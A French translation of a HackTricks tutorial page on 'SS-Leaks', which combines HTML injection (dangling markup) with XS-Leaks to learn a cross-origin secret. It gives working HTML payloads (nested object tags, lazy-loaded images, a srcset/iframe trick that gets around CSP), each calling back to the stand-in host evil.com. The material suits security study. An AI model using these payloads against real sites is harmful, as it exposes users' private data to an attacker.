7.3 KiB
Fuites de SS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Il s'agit d'un mélange entre markup suspendu et XS-Leaks. D'un côté, la vulnérabilité permet d'injecter du HTML (mais pas du JS) dans une page de la même origine que celle que nous attaquerons. D'un autre côté, nous n'attaquerons pas directement la page dans laquelle nous pouvons injecter du HTML, mais une autre page.
Objets imbriqués
Si le point de terminaison /api/v1/leaky?secret=a
renvoie un code d'état 404, alors l'objet interne est chargé, donnant un rappel à https://evil.com?callback=a
et nous indiquant que la requête de recherche a
n'a donné aucun résultat.
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
Chargement paresseux
Et si CSP bloque les objets externes ? Essayons à nouveau avec le CSP suivant :
Content-Security-Policy: default-src 'self'; img-src *;
Notre rappel object
précédent ne fonctionne plus. À la place, nous pouvons utiliser le chargement paresseux d'images ! L'image suivante ne se chargera que lorsqu'elle sera visible et à une certaine distance de la fenêtre d'affichage.
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
Images Réactives
La technique ci-dessus est excellente, mais elle repose sur notre injection HTML se trouvant dans le champ de vision de l'utilisateur.
Si l'injection est hors de l'écran et que l'utilisateur ne fait pas défiler, pouvons-nous toujours divulguer des données ? Bien sûr, nous pouvons utiliser des identifiants d'éléments et scroll-to-text-fragment pour créer une URL qui force un défilement, mais cela dépend de l'interaction de l'utilisateur et ne nous permet pas d'obtenir des fuites cohérentes dans un scénario réel. Idéalement, nous voulons armer l'injection HTML stockée de manière fiable.
Entrez les images réactives ! Plus précisément, les attributs srcset
et sizes
des images.
{% code overflow="wrap" %}
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
{% endcode %}
Il y a plusieurs choses à comprendre ici. Tout d'abord, rappelez-vous que l'iframe interne ne sera visible que si le point de terminaison fuyant renvoie un code d'état 404.
C'est important car nous allons maintenant charger conditionnellement l'image dans l'iframe à partir de deux URL différentes. En utilisant l'attribut sizes
, nous pouvons utiliser des requêtes média pour choisir à partir de quelle URL charger l'image, en fonction de la taille de l'affichage.
{% code overflow="wrap" %}
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
{% endcode %}
Étant donné que notre iframe a une largeur de width="1000px"
, les événements suivants se produisent :
- Si le point de terminaison de fuite renvoie un code d'état 404, l'iframe est affichée et a une largeur de 1000px. L'image à l'intérieur de l'iframe correspond à la requête média
(min-width: 1000px)
et charge l'image de 800px à partir dehttps://evil.com?callback=0
. - Si le point de terminaison de fuite renvoie un code d'état 200, l'iframe n'est pas affichée. Étant donné que l'image n'est pas rendue dans le cadre d'une grande iframe, elle correspond à la requête média
(max-width 999px)
et charge l'image de 480px à partir dehttps://evil.com?callback=1
.
Références
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.